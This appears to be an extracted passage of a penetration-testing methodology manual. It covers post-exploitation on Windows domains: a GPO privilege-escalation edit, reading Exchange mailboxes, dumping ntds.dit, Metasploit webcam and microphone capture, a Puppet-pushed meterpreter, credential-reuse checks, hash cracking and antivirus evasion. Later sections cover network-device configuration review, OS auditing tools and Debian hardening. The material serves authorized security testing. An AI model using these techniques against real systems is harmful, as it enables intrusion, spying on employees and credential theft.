As member of Backup Operators group, copy the Default Domain (or other applicable) GPO to a temporary location
(e.g. your Desktop):
C:\Windows\SYSVOL\domain\Policies\{*}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf
Edit or add the Restricted Groups values, adding the SID of your account to the desired group (e.g. “S-1-5-32-544”
== “Built-In Administrators”):
=======
[Group Membership]
*S-1-5-32-544__Memberof =
*S-1-5-32-544__Members = <etc etc etc>,*S-1-5-21-2079967355-3169663337-3296943937-1111
Back the file up. Restore the file and redirect it to the real SYSVOL location, overwriting the existing GPO. Wait for
GP refresh. Success.
This section mainly focuses on the Post-exploitation which can be show to the higher management for impact or
showing risk such as reading emails ( either by reading .pst files or having access to the exchange server ), having access
to the File-servers holding confidential data, able to access employees laptop/ desktop ( watch them via webcam/ listen
to the surroundings using microphones). The assumption is we have already compromised the domain administrator
of the Windows Domain.
A Personal Folders file (.pst) is an Outlook data file that stores your messages and other items on your computer.
readpst ( linux ) or readpst.exe can be used to read pst mailbox for passwords
“/s” tells findstr to search through the current directory and subdirectories.
“/i” specifies that the search should be case insensitive.
“/m” tells findstr to output the file name rather than the file contents - if we
˓→output the contents, we may quickly be swamped with output that we’ll still have to
˓→sift through. Depending on the amount of output, you may also quickly exceed cmd.
˓→exe’s limits.
*.*, of course, means that we’re searching through files of any name and any type.
The above has been taken from the Pillaging .pst Files
This is applicable in a Microsoft environment that uses Outlook but does not back up email to .pst files.
The assumption is that we have already compromised the Exchange Administrator account on the Exchange server.
We’ll use two techniques to search through mailboxes of interest. The first is to give ourselves full access to the targeted
user’s mailbox; the second is to use built-in management features to search through a mailbox of our choosing.
• Step 1: Add a Mailbox - Create a new mailbox by using web-based Exchange Admin Center (EAC). The
“mailboxes” section allows us to add a new user mailbox. The user receiving the mailbox can come from the
list of Active Directory users, or the Administrator can create a new user.
• Step 2: Mailbox Delegation - Once our new user’s mailbox is created, we can give ourselves full access to our
target user mailbox. This can be done by using targeted user mailbox account options. Go to the account settings
of targeted user mailbox, select the edit option, select “mailbox delegation,” and add our new user to the “Full
Access” section. Once that’s complete, we can log in to our recently created mailbox with the username and
password we set, then open another mailbox without being required to enter any credentials
However, when we interact with their mailbox, it’s as if they are doing it, so emails previously marked as unread will
be marked as read after being opened.
Search-Mailbox cmdlet
• If we have access to the exchange server and Exchange Management Tools are installed on a machine, they
include the Exchange Management Shell, which is a version of Powershell with specific features for adminis-
tering exchange. “Search-Mailbox,” allow us to make specific search queries on mailboxes of interest without
manually giving ourselves full-access and logging in.
• However, Search-Mailbox belongs to administrators with the “Discovery Management” role. We have to add
the compromised account to the members of this role by visiting EAC and going to “permissions,” “admin roles”
and editing the “Discovery Management” to add the account we compromised.
• Search-Mailbox Syntax
Example:
Now we simply pop back over to the mailbox of the user we created and inspect the newly arrived email(s):
The above has been taken from Pillage Exchange
We can get a list of file servers in the windows active directory by using Powersploit-Powerview-Get-NetFileServer
funtion. Once we have the file server list, we can view the file server contents utilizing Windows explorer. We can
also mount the file server using mount.cifs
Sean Metcalf has written a brilliant blog How Attackers Dump Active Directory Database Credentials
The above blog covers:
• Grabbing the ntds.dit file locally on the DC using NTDSUtil’s Create IFM
• Pulling the ntds.dit remotely using VSS shadow copy
• Pulling the ntds.dit remotely using PowerSploit’s Invoke-NinjaCopy (requires PowerShell remoting is enabled
on target DC).
• Dumping Active Directory credentials locally using Mimikatz (on the DC).
• Dumping Active Directory credentials locally using Invoke-Mimikatz (on the DC).
• Dumping Active Directory credentials remotely using Invoke-Mimikatz.
• Dumping Active Directory credentials remotely using Mimikatz’s DCSync.
The methods covered above require elevated rights since they involve connecting to the Domain Controller to dump
credentials.
The statement “We do have all the users password hashes of your organization and X number of passwords were
cracked in X number of days” make a good impact for your client.
Metasploit provide a post exploitation module for taking snapshots from webcam and recording sounds from micro-
phone. Imagine, the impact of informing the client that we can view a person live-feed or record sounds from a meeting
room without being present in the same room. Maybe in the meeting there were discussing about passwords, company
secrets, operations, future plannings, spendings, etc.
Webcam
This module will allow the user to detect installed webcams (with the LIST action) or take a snapshot (with the
SNAPSHOT) action.
msf > use post/windows/manage/webcam
msf post(webcam) > info
Available actions:
Name Description
---- -----------
LIST Show a list of webcams
SNAPSHOT Take a snapshot with the webcam
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
INDEX 1 no The index of the webcam to use
QUALITY 50 no The JPEG image quality
SESSION yes The session to run this module on.
Record_Mic
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DURATION 5 no Number of seconds to record
SESSION yes The session to run this module on.
Sinn3r has written a blog The forgotten spying feature: Metasploit’s Mic Recording Command which can provide
more information. Once, we have recorded the meetings, the sound WAV files can be converted to text using speech
to text api.
User Activity
If we have a meterpreter from a windows machine, we can use Problem Steps Recorder ( PSR )(Microsoft In-built
tool) to captures screenshots and text descriptions of what a user is doing on their system.
psr.exe [/start |/stop][/output <fullfilepath>] [/sc (0|1)] [/maxsc <value>]
[/sketch (0|1)] [/slides (0|1)] [/gui (0|1)]
[/arcetl (0|1)] [/arcxml (0|1)] [/arcmht (0|1)]
[/stopevent <eventname>] [/maxlogsize <value>] [/recordpid <pid>]
SCCM is a platform that allows for an enterprise to package and deploy operating systems, software, and software
updates. It allows for IT staff to script and push out installations to clients in an automated manner. If you can gain
access to SCCM, it makes for a great attack platform. It heavily integrates Windows PowerShell, has excellent network
visibility, and has a number of SCCM clients as SYSTEM just waiting to execute your code as SYSTEM.
Enigma has written a awesome blog Target workstation compromise with SCCM
System Center Operations Manager (SCOM) is a cross-platform data center monitoring system for operating systems
and hypervisors. It uses a single interface that shows state, health and performance information of computer systems.
It also provides alerts generated according to some availability, performance, configuration or security situation being
identified. It works with Microsoft Windows Server and Unix-based hosts.
SCOM also allows to monitor health of the system and provide powershell interface to the machine or provide an
ability to execute a script on a particular machine.
Puppet
Puppet is an open-source software configuration management tool. It runs on many Unix-like systems as well as on
Microsoft Windows. It was created to easily automate repetitive and error-prone system administration tasks. Puppet’s
easy-to-read declarative language allows you to declare how your systems should be configured to do their jobs.
However, if an organization is utilizing puppet to control it servers/ workstations and we have compromised puppet
server. We can just create a metasploit meterpreter based on the target operating system ( Windows/ Linux ) using
msfvenom.
• Linux
• Windows
• Mac
Create a module in puppet to include this payload using file resource and store in on the targeted machine. Utilizing
exec resource, execute the payload and we would receive the meterpreter on the listener.
Tanoy Bose has written the blog on Enterprise Offense: IT Operations [Part 1] - Post-Exploitation of Puppet and
Ansible Servers
Todo:
• The Email- Mailbox Post exploitation – Also the check if someone has exploited this (check logs) – which is
also connected to Domain?
• How does google email works?
• File Hunting – Better ways!! Faster ways!!
credmap. is open source tool created by Roberto Salgado to check for credential reuse. It is capable of testing the
supplied user credentials on several websites to test if the password has been reused or not. This tool can be of great
advantage to check the validation of the gathered credentials on other social media sites as well.
Options:
-h/--help show this help message and exit
-v/--verbose display extra output information
-u/--username=USER.. set the username to test with
-p/--password=PASS.. set the password to test with
-e/--email=EMAIL set an email to test with
-l/--load=LOAD_FILE load list of credentials in format USER:PASSWORD
-f/--format=CRED_F.. format to use when reading from file (e.g. u|e:p)
-x/--exclude=EXCLUDE exclude sites from testing
-o/--only=ONLY test only listed sites
-s/--safe-urls only test sites that use HTTPS
-i/--ignore-proxy ignore system default HTTP proxy
(continues on next page)
Examples:
./credmap.py --username janedoe --email [email protected]
./credmap.py -u johndoe -e [email protected] --exclude "github.com, live.com"
./credmap.py -u johndoe -p abc123 -vvv --only "linkedin.com, facebook.com"
./credmap.py -e [email protected] --verbose --proxy "https://127.0.0.1:8080"
./credmap.py --load creds.txt --format "e.u.p"
./credmap.py -l creds.txt -f "u|e:p"
./credmap.py -l creds.txt
./credmap.py --list
In this section, we have explained the concepts about authentication, credentials and authenticators, credential storage,
authentication protocols, logon types. The below has been directly taken from the Mitigating Pass-the-Hash (PtH)
Attacks and Other Credential Theft, Version 1 and 2
When a user wants to access a computing resource, they must provide information that identifies who they are, their
identity, and proof of this identity in the form of secret information that only they are supposed to know. This proof of
identity is called an authenticator. An authenticator can take various forms, depending on the authentication protocol
and method. The combination of an identity and an authenticator is called an authentication credential or creden-
tial. The process of creation, submission, and verification of credentials is described simply as authentication, which
is implemented through various authentication protocols, such as NTLM and Kerberos authentication. Authentication
establishes the identity of the user, but not necessarily the user’s permission to access or change a computing resource,
which is handled by a separate authorization process.
Credentials are typically created or converted to a form required by the authentication protocols available on a com-
puter. Credentials may be stored in LSASS process memory for use by the account during a session. Credentials must
also be stored on disk in authoritative databases, such as the SAM database and the Active Directory database.
Identities - usernames
In Windows operating systems, a user’s identity takes the form of the account’s username, either the “user name”
(SAM Account Name) or the User Principal Name (UPN).
Windows authenticators
Windows Credential Types, lists the credential authenticator types in Windows operating systems and provides a brief
description of each type.
Cre- Description
den-
tial
Type
Plain- When a user logs on to a Windows computer and provides a username and credentials, such as a password
text or PIN, the information is provided to the computer in plaintext. This plaintext password is used to au-
cre- thenticate the user’s identity by converting it into the form required by the authentication protocol. Current
den- versions of Windows also retain an encrypted copy of this password that can be decrypted back to plaintext
tials for use with authentication methods such as Digest authentication.
NT The NT hash of the password is calculated using an unsalted MD4 hash algorithm. MD4 is a cryptographic
hash one-way function that produces a mathematical representation of a password. This hashing function is
designed to always produce the same result from the same password input, and to minimize collisions
where two different passwords can produce the same result. This hash is always the same length and
cannot be directly decrypted to reveal the plaintext password. Because the NT hash only changes when
the password changes, an NT hash is valid for authentication until a user’s password is changed. This also
means that if two accounts use an identical password, they will also have an identical NT password hash.
LM LAN Manager (LM) hashes are derived from the user password. Legacy support for LM hashes and
Hash the LAN Manager authentication protocol remains in the Windows NTLM protocol suite, but default
configurations and Microsoft security guidance have discouraged their use for more than a decade. LM
hashes have a number of challenges that make them less secure and more valuable to attackers if stolen:
- hashes required a password to be less than 15 characters long and contain only ASCII characters. - LM
Hashes also do not differentiate between uppercase and lowercase letters.
Techniques to obtain the plaintext value from a LM hash with relatively low effort have been available for
a number of years, so the loss of a LM hash should be considered nearly equivalent to the loss of plaintext
password.
Win- These verifiers are stored in the registry (HKLMSecurity) on the local computer and provide validation of
dows a domain user’s credentials when the computer cannot connect to Active Directory during a user logon.
lo- These are not credentials, as they cannot be presented to another computer for authentication, and they can
gon only be used to locally verify a credential.
cached
pass-
word
veri-
fiers
Credential Storage
Credential Storage, lists the types of credential storage locations available on the Windows operating system.
Domain Active Directory Database ( NTDS.DIT ) The Active Directory database is the authoritative store
of credentials for all user and computer accounts in an
Active Directory domain. Each writable domain con-
troller in the domain contains a full copy of the domain’s
Active Directory database, including account creden-
tials for all accounts in the domain. Read-only domain
controllers (RODCs) house a partial local replica with
credentials for a selected subset of the accounts in the
domain. By default, RODCs do not have a copy of priv-
ileged domain accounts.
The Active Directory database stores a number of at-
tributes for each account, including both username types
and the following: - NT hash for current password. - NT
hashes for password history (if configured).
208
Credential Manager (CredMan) store Users may Chapter
choose 2. Infrastructure
to save passwords inPentest
WindowsSeries
us-
ing an application or through the Credential Manager
Control Panel applet. These credentials are stored on
disk and protected using the Data Protection Applica-
Ptest Method Documentation, Release 1
Before we dig down in gathering credentials from a compromised machine, we should understand about Windows
authentication protocols
The following table provides information on Windows authentication protocols and a brief description of each sup-
ported protocol.
Pro- Description
to-
col
Ker- Kerberos is the default and preferred authentication protocol for domain authentication on current Windows
boros operating systems. Kerberos relies on a system of keys, tickets, and mutual authentication in which keys
are normally not passed across the network. (Direct use of the key is permitted for some application clients
under certain circumstances). Certain Kerberos-specific objects that are used in the authentication process
are stored as LSA secrets in memory, such as Ticket Granting Tickets (TGT) and Service Tickets (ST). TGTs
are Single sign-on (SSO) authentication credentials that can be reused for lateral movement or privilege
escalation, while STs are not credentials that can be used for lateral movement or privilege escalation.
NTLMNTLM protocols are authentication protocols that use a challenge and response method to make clients
mathematically prove that they have possession of the NT hash. Current and past versions of Windows
support multiple versions of this protocol, including NTLMv2, NTLM, and the LM authentication protocol.
Di- Digest is a standards-based protocol typically used for HTTP and Lightweight Directory Access Protocol
gest (LDAP) authentication Digest authentication is described in RFCs 2617 and 2831.
Recently, we were given a requirement by a customer to figure out if any user in their Active Directory are using
simple passwords!
For this, they provided us with the Active Directory database which can taken from a domain controller by using the
below command on a administrative shell.
domain\username:RID:lmhash:nthash:::
The command above will create a file called “customer.ntds” which we can use for password cracking.
Now, we can try john or hashcat to do the password cracking.
LM:NT/ NT-Hashes
The above database would have your LM:NT hashes and can be cracked using
However, for some strange reason, only 140 hashes were getting loaded in John instead of approx 50K hashes. So, we
converted LM:NT hashes to NT hashes.
domain\username:RID:lmhash:nthash:::
to
domain\username:nthash
Instead of our custom dictionary customer provided, we also tried the rockyou.txt and darkc0de.lst dictionaries.
However, the customer also wanted to try variations of Passwords such as Password@123, inplace of @, maybe
!,#,$,%,^,&,* etc. This thing can be solved with John Rules
Korelogic Rules
KoreLogic used a variety of custom rules to generate the passwords. These _same_ rules can be used to crack pass-
words in corporate environments. These rules were originally created because the default ruleset for John the Ripper
fails to crack passwords with more complex patterns used in corporate environments.
Download KoreLogic’s Custom rules
To use KoreLogic’s rules in John the Ripper: download the rules.txt file - and perform the following command in the
directory where your john.conf is located.
or everything as once
# for ruleset in `grep KoreLogicRules john.conf | cut -d: -f 2 | cut -d\] -f 1`; do
˓→echo ./john --rules=${ruleset} --wordlist=sports_teams.dic --format=nt pwdump.txt;
˓→done
Loopback?
John has loopback thing, also where it uses passwords which has been already cracked to crack more passwords.
Password Statistics
BlackHills has released Domain Password Audit Tool that will generate password use statistics from password hashes
dumped from a domain controller and a password crack file such as hashcat.potfile generated from the Hashcat tool
during password cracking.
One pretty simple way to evade AV is to change the name of the file, the name of the functions in it and to pull out any comment
This works pretty well for any tool written with Powershell, Python. If the tool has to be compiled, do the same
with the sources and recompile it.
Note: AV uses signatures. We just need to make the pattern not in our tool.
2.5 Reporting
This blog would explore different open-source reporting tools and data-management tools which can be utilized to
during Penetration Test.
Serpico
Serpico : SimplE RePort wrIting and CollaboratiOn tool - Serpico is a penetration testing report generation and
collaboration tool. It was developed to cut down on the amount of time it takes to write a penetration testing report.
Serpico is at its core a report generation tool but targeted at creating information security reports. When building
a report the user adds “findings” from the template database to the report. When there are enough findings, click
‘Generate Report’ to create the docx with your findings. The docx design comes from a Report Template which can
be added through the UI; a default one is included. The Report Templates use a custom Markup Language to stub the
data from the UI (i.e. findings, customer name, etc) and put them into the report.
DART
DART : DART is a test documentation tool created by the Lockheed Martin Red Team to document and report on
penetration tests in isolated network environments.
Cisco Kvasir
Cisco Kvasir : Kvasir is a web-based application with its goal to assist “at-a-glance” penetration testing. Disparate
information sources such as vulnerability scanners, exploitation frameworks, and other tools are homogenized into a
unified database structure. This allows security testers to accurately view the data and make good decisions on the
next attack steps. More Information at Introducing Kvasir
Threadfix
Threadfix : ThreadFix is a software vulnerability aggregation and management system that helps organizations aggre-
gate vulnerability data, generate virtual patches, and interact with software defect tracking systems.
Salesforce Vulnreport
SalesForce Vulnreport : Vulnreport is a platform for managing penetration tests and generating well-formatted, ac-
tionable findings reports without the normal overhead that takes up security engineer’s time. The platform is built to
support automation at every stage of the process and allow customization for whatever other systems you use as part
of your pentesting process.
So far, we have discussed about the IT infrastructure penetration testing in which plethora of attacking methods, tools,
commands were explained. Now it’s time get our hands dirty with the secure configuration re‘view of network devices.
Often in an engagement we are required to perform a secure configuration review of network devices such as routers,
switches, firewalls etc. We will try to cover devices by different vendors.
2.6.1 Introduction
Before Jumping into the configuration review of devices, let us provide a small introduction to such devices:
Routers
These devices operate at layer 3 of OSI model connect and route data between networks using IP addresses. Once data
is routed to the destination network, the data goes to a switch where the destination host might be connected.
Switches
Unlike hub which takes a frame that it receives on any given port and repeats it out to every port on the hub, A switch
is an intelligent learning device which learns the MAC address for each host plugged into the switch ports. With this
information, the switch will repeat a frame only out to the port that contains the correct destination MAC address.
Firewalls
These are the main devices which protect us in a day to day activities by carefully examining the packets destined to
us. Now over the time there are several types of firewalls in action which are listed below.
• Packet filtering Firewall : These are essentially routers operating at Layer 3 using set ACLs. Decisions are made
to allow and disallow traffic based on the source and destination IP address, protocol, and port number.
• Stateful Inspection firewall : Also known as stateful packet inspection (SPI) or dynamic packet-filtering firewall
which operates at Layers 3 and 4. A router at home allows us to establish and maintain a session externally with
another address. The “state” refers to identifying and tracking sessions that occur in Layers 4 and 5. The rules
are changed dynamically when we establish an outbound connection to enable packets from the destination IP
address to be returned to you. All other traffic is stopped from reaching our computer, protecting us from the
dangers from Internet.
• Application Firewalls : These firewalls combine the functionality of the typical firewall operating in the lower
OSI layers with the power and deep inspection of application awareness. Based on the information at the
application level, such as known malicious traffic, decisions can be made to allow or disallow traffic. for example
an appliance or host that screens web traffic before it hits our web server,based on the behavior and content of
the web traffic, decisions might be made to refuse access to the web server.
Now lets begin our quest to configuration reviews.
Broadly speaking, the configuration review/ Hardening checks can be categorized for the devices under the 3 major
functional categories of a network:
• Management Plane: Made up of applications and protocols (SSH, SNMP etc.) it is responsible for the manage-
ment of traffics that are sent the IOS devices.
• Data Plane : This forwards data through a network device and it doesn’t include traffic that is sent to the local
IOS device.
• Control Plane : This plane processes the traffic, which is very important to maintain the functionality of the
network infrastructure. It consists of applications and protocols between the devices.
Its always recommended to perform a manual review for the devices. The manual approach may take time but its the
best way to learn the IOS configuration commands as well. First and foremost, we need to obtain the configuration
file of the device. To do so we will talk a bit about various modes present in CISCO devices.
Now to pull out the configuration of the device one of the simplest way is by using telnet (Though its an insecure
protocol, Its just a method)
There are many ways to save the configuration into a text file like saving the config to a tftp/ftp server and then get the
file from there etc. But the simplest way is by using Putty emulator, for this we just have to enable the logging section
under the sessions tab.
Note: telnet -f fileName.txt xx.xx.xx.xx This will directly save the telnet session in a text file. (Though its an insecure
protocol, Its just a method.)
2.6.3 Tools
So, Now that we have a running configuration file of the device the next step would be to perform a security review
for the device. for the manual review we will discuss few pointers which can be checked in no time.
• password must be secured using type 5 encryption level.
• Check for AAA (Authentication, authorization, and accounting).
• Unused interfaces should be shutted down or properly configured with port security in voilation mode. (only on
switches)
• Schedule a meeting with the stakeholder’s and obtain the network diagram. Analyze the buisness requirement
and the traffic flow and based on that verify whether the access list is cleraly defined or not.
• HTTP server i.e accessing the device management via a http should not be configured.
• Check for default password authnetication by manually doing SSH.
• Telent should be disabled for managing the device.
• Cisco discovery protocol should be disabled because CDP packets contains some juicy informations related to
sender, hardware model, Operating system verison and IP address details.
• Ensure that logging is configured on the device with a separate ip address for syslog server.
• Switches and routers should be configured with login banners.
• Domain lookup should be disabled if the DNS server isnt configured.
• Risky services such as Telnet, HTTP, Finger etc. should be disabled.
• Based upon the requiremnet of no.of VTY lines (provides logical connections to the device) should be limited.
• Auxilliary console should be disabled.
• All the console options such as console line, Aux Line, and VTY lines should be configured with 10 minutes of
timeout.
• VTY line should be configured with proper access contorl lines (ACL) in case of routers and switches.
Nipper
Nipper is a very handy tool which is by default available in Kali linux. This tool is a cli based and can be utilised to
perform some basic checks related to firmware version, device control etc. Its also available as a paid version and n
trial version with limited amount of devices to be audited. However, the inbuilt nipper module in kali linux sometimes
gives a lot of false positives, but for a start this also gives some juicy information.
nipper [Options]
General Options:
--input=<file> : Specifies a device configuration file to process. For
˓→CheckPoint Firewall-1 configurations, the input should be the conf directory.
Nipper also supports various devices such as juniper Netscreen Firewall, Sonicwall firewall, checkpoint firewall, cisco
firewalls.
Nessus pro. is great tool which can be used for auditing various platforms such ios, Windows, Unix, IBM iseries,
Junos, Extreme OS etc. one of the major features of Nessus professional version is offline configuration of sensitive
devices. However, this features only gives compliance audit results.
Below are a few steps for an offline configuration audit.
• To create an offline configuration audit, select the Offline Config Audit in the new Policies library.
• To see the compliance options, click on the Compliance menu. This will bring up options different than the
standard compliance audit.
• The column on left shows the supported network devices that can have their configurations audited offline.
• Select your desired platform and at the bottom you should see ‘offline configuration audit’ under ‘global set-
tings’.
• click on ‘add file’ and add your devices config. files.
Note: We can also add multiple device configs. to a single compressed folder and upload the same. However, same
platform devices are to added.
A more recent option (which we haven’t tried yet) is the Nessus IOS plugin from Tenable.
rConfig
It is a free and open source network device configuration management utility for network engineers to take frequent
configuration snapshots of their network devices. This can be utilized for viewing and extracting out the configuration
of network devices in order to perform analysis of the network communication in devices perspective. rConfig Version
3 now has a Configuration Compliance Management utility to enable you to monitor device configurations for policy
compliance. Refer to the tutorial and usage of this tool Rconfig.
More ad hoc (single-function) tools can be found at PacketStorm and cymru.
NCM can be used to improve network security and compliance by using NCM automation to identify IOS vulner-
abilities, upgrade IOS firmware and audit device configs for NIST FISMA, DISA STIG, and DSS PCI compliance.
Although its a paid tool but it supports 30 day free trial version. Refer Solarwinds Network Configuration Manager
for the datasheet and for downloading.
ciscoconfparse
CiscoConfParse is an open-source audit toolset that lets us express the audit as Python code. It is a Python library,
which parses through Cisco IOS-style configurations. It can be used for the following:
• Audit existing router / switch / firewall / wlc configurations
• Retrieve portions of the configuration
• Modify existing configurations
• Build new configurations
Refer the documentation Cisco-Conf-Parse.
The Tufin Orchestration Suite intelligently analyzes the network, automates configuration changes and proactively
maintains security and compliance across the entire enterprise network. It comprises three products: * SecureTrack
dashboard (change tracking, risk analysis, etc.) * SecureChange (change automation-ticketing) - A comprehensive
solution for automating network configuration changes to firewalls and routers. * SecureApp - An automated solution
that enables organizations to easily define, update, monitor and remove applications and services from the network.
refer Tufin toc for installations and usage guidelines.
Solarwinds FSM
Firewall security manager by solarwinds is a good for offline configuration audit (Rule base) of cisco firewalls and
other vendors. Although its a commercial product released by solarwinds, it is available for free trial which supports
at least 1 device for the reneiw purpose. Upon successful import of config. file the solarwinds will generate 3 pdf files
related to Rulebase review, firewall rule optimization and clean up, rules page. This tool also gives a tabulated view of
various ingress and egress points of a firewall. For details Refer Firewall Security Management.
Springbok
It is a good open source firewall visualization tool which creates a visual map of firewall ingress and egress points
which can be used to analyze the traffic flow from different nodes integrated. It also provides the feature of viewing
the rules and analyze them according to the integrated nodes.
For details regarding usage and installation refer Springbok.
Feel free to add more tools and software’s which we might have missed.
We are often required to perform end-point review for operating systems for windows and linux on our own in some
engagements. Here i will be discussing about few of the commands and tools required for auditing the operating
systems.
Gpresult
Displays the Resultant Set of Policy (RSoP) information for a remote user and computer. To use RSoP reporting for
remotely targeted computers through the firewall, you must have firewall rules that enable inbound network traffic on
the ports.
Usage
˓→| /?}
The following example displays RSoP data for the computer srvmain and the logged-on user. Data is included about
both the user and the computer. The command is run with the credentials of the user maindomhiropln, and p@ssW23
is entered as the password for that user.
Net Accounts
This is a native windows command for acquires account related information such as password complexity, Password
expiration, No. of passwords to be remembered, Lockout Duration etc.
Usage
Net Accounts - View the current password & logon restrictions for the
˓→computer
Net Accounts /Domain - View the current password & logon restrictions for the
˓→domain.
WMIC.exe
Windows Management Instrumentation Command : Retrieve a huge range of information about local or remote com-
puters. Make configuration changes to multiple remote machines.
Refer Here for more information on usage.
Applications installed
We also have to look for vulnerable applications installed by getting a comprehensive list of installed applications.
This can be gathered by using the following command line in native windows powershell.
Get-ItemProperty
˓→HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-
˓→ File.txt
auditpol
We also need to look for the audit policies defined for systems/ Servers in order identify various misconfiguration of
windows audit policy this can be gathered by using this command which displays information about and performs
functions to manipulate audit policies.
Usage
auditpol /get
[/user[:<username>|<{sid}>]]
[/category:*|<name>|<{guid}>[,:<name|<{guid}> ]]
[/subcategory:*|<name>|<{guid}>[,:<name|<{guid}> ]]
[/option:<option name>]
[/sd]
[/r]
Refer Auditpol-Get.
Simply issue
PolicyAnalyzer
PolicyAnalyzer released by Microsoft for analyzing and comparing sets of Group Policy Objects (GPOs). It can high-
light when a set of Group Policies has redundant settings or internal inconsistencies, and can highlight the differences
between versions or sets of Group Policies. It can also compare GPOs against current local policy settings and against
local registry settings. And you can export its findings to a Microsoft Excel spreadsheet.
Microsoft security compliance tool kit allows enterprise security administrators to download, analyze, test, edit and
store Microsoft-recommended security configuration baselines for Windows and other Microsoft products, while com-
paring them against other security configurations.
File Server permission
It is also essential to review the file permission for a file server during the OS review phase. There are many tools
available to do the same but we will be restricting to only few here. . . :)
AccessEnum
AccessEnum gives you a full view of your file system and Registry security settings in seconds, making it the ideal
tool for helping you for security holes and lock down permissions where necessary.
Permission Reporter
This tool is free downloadable file permission analyzer which can be used to analyze different permissions related to
different groups, Individual users etc. This comes handy while determining the unnecessary file/ Folder permisssion
in a file server.
Tiger
Tiger is security tool that can be use both as a security audit and intrusion detection system. It supports multiple UNIX
platforms and it is free and provided under a GPL license. Unlike other tools, Tiger needs only of POSIX tools and is
written entirely in shell language. Tiger has some interesting features that merit its resurrection, including a modular
design that is easy to expand, and its double edge, it can be used as an audit tool and a host intrusion detection system
tool.The current stable release is 3.2.3, the previous (old) stable release is 3.2.2.
unix-privesc-check
Unix-privesc-checker is a script that runs on Unix systems (tested on Solaris 9, HPUX 11, Various Linuxes, FreeBSD
6.2). It tries to find misconfiguration that could allow local unprivilged users to escalate privileges to other users or to
access local apps (e.g. databases). t is written as a single shell script so it can be easily uploaded and run. It looks for
the following
• Writable Home Directories
• Readable /etc/shadow
• Weak Permissions On Cron Jobs
• Writable Configuration Files
• Writable Device Files
• Readable Files In Home Directories
• Running Processes Correspond To Writable Programs
• sudo Configuration
• Accounts with no Password
LSAT
Linux Security Auditing Tool LSAT is a post install security auditing tool. It is modular in design, so new features can
be added quickly. It checks inetd entries and scans for unneeded RPM packages. It is being expanded to work with
Linux distributions other than Red Hat, and checks for kernel versions. Few features of LSAT is listed below:
• checkbp: Checks for boot loader password.
• checkcfg: This module is performed last
• checkdotfiles: Looks for .forward, .exrc, .rhosts and .netrc files on the system.
• checkfiles: Checks that /tmp and /var/tmp have sitcky bit set, checks utmp, wtmp, motd, mtab for chmod 644.
• checkftpusers: Checks that all accounts in /etc/passwd are in /etc/ftpusers.
• checkhostsfiles: Reads /etc/hosts.allow and /etc/hosts.deny files
• checkinetd: Checks either /etc/inetd.conf or /etc/xinetd.d/*
• checkinittab: Checks to see if default runlevel is 5. If it is, give the user a warning.
• checkipv4: Checks to see that common forwarding and ignoring are off/on in ipv4.
• checklimits: Performs simple check of limits.conf file
• checklogging: Performs a simple check to see if auth and authpriv logging facilities are on.
Lynis
Lynis is an open source linux security auditing tool. The primary goal is to help users with auditing and hardening of
Unix and Linux based systems. The software is very flexible and runs on almost every Unix based system (including
Mac). Lynis performs hundreds of individual tests. Each test will help to determine the security state of the system.
Each test is written in shell script and has its own identifier.
Recently, We got a chance to do some penetration testing. This post would cover the basics and approach.
Thanks to Girish Nemade
Basic wireless network tests could be performed by using your wireless adapter installed in your laptop. However,
few external USB cards are suggested by Offsec such as
• Netgear WN111v2 USB
• ALFA Networks AWUS036H USB 500mW
which provide a better area coverage.
2.7.1 Basics
1. use airodump
1. OPEN If there is no MAC authentication, and dhcp enabled, your machine would connect automatically. If there
is no MAC authentication but dhcp is not enabled, it is advisable to sniff the network using wireshark and find
the appropiate network range and the default gateway and set them manually. If there is MAC authentication
and DHCP not enabled, you need to find valid associated clients. The catch is the valid associated clients will
have an IP address whereas invalid associated clients will not have the IP address.
Find the associated clients connected to the particular access point by using the csv file produced by
airodump. In the below example the access point is “24:DE:C6:C7:92:C2”.
or
macchanger
-m, --mac=XX:XX:XX:XX:XX:XX
--mac XX:XX:XX:XX:XX:XX Set the MAC XX:XX:XX:XX:XX:XX
Once associated, we still need to find the valid IP address and valid MAC address, sniff the network, find
the network ranges, gateway. Do a nmap Ping Scan to the local subnet which will provide IP address and
MAC address. Cross-verify with the associated clients. Valid associated clients will have an IP address
and MAC address entry in the airodump listing. Set the IP address using
2.7.2 WEP
Abbrev:
ENC* WEP: Wired Equivalent Privacy WPA: Wi-Fi Protected Access WPA: i-Fi Protected Access II
Cipher TKIP: Temporal Key Integrity Protocol CCMP: Counter Mode CBC-MAC Protocol
AUTH** PSK: Pre-Shared Key MGT: SKA: Shared Key Authentication
Hardening Series
The Hardening Series cover all the procedures needed to be more secure.
• Securing Debian : Technical steps to harden Debian systems.
Recently, we got an extra laptop with decent configuration to host as a server. We decided to host Kali-Linux on it and
make available multiple vulnerable OS from vulnhub.com on it for practice to our teams.
After installing Kali-Linux and running lynis audit tool, linux hardening index was 55. As we are opening this server
to public/ people capable of hacking, we need to make sure our server doesn’t get hacked.
This source is mainly compiled from Securing Debian Manual.
This is mainly done to prevent any unauthorized person to change the grub to get a root shell. Anybody can easily get
a root-shell and change your passwords by entering init=/bin/sh at the boot prompt. After changing the passwords and
rebooting the system, the person has unlimited root-access and can do anything he/she wants to the system.
• Generate an encrypted password, open a terminal and run the following command:
grub-mkpasswd-pbkdf2
grub-mkpasswd-pbkdf2
Enter password:
Reenter password:
PBKDF2 hash of your password is grub.pbkdf2.sha512.10000.
˓→A56BEB30E27FE2F7D119E8DEFD6A8049E4300734BB139A5DD08E668BA434792B8AB45A285AC88B95DD16658AC7EC0X
223
Ptest Method Documentation, Release 1
set superusers="root"
password_pbkdf2 root grub.pbkdf2.sha512.10000.
˓→A56BEB30E27FE2F7D119E8DEFD6A8049E4300734BB139A5DD08E668BA434792B8AB45A285AC88B95DD16658AC7EC0X
export superusers``
• Execute update-grub
update-grub
Generating grub configuration file ...
Found background image: .background_cache.png
Found linux image: /boot/vmlinuz-4.0.0-kali1-amd64
Found initrd image: /boot/initrd.img-4.0.0-kali1-amd64
done
PAM (Pluggable Authentication Modules)allows system administrators to choose how applications authenticate users:
Install libpam-passwdqc which is a PAM module for password strength policy enforcement. Insert the below line in
/etc/pam.d/common-password
• N0 is used for passwords consisting of characters from one character class only. The character classes are:
digits, lower-case letters, upper-case letters, and other characters. There is also a special class for non-ASCII
characters, which could not be classified, but are assumed to be non-digits.
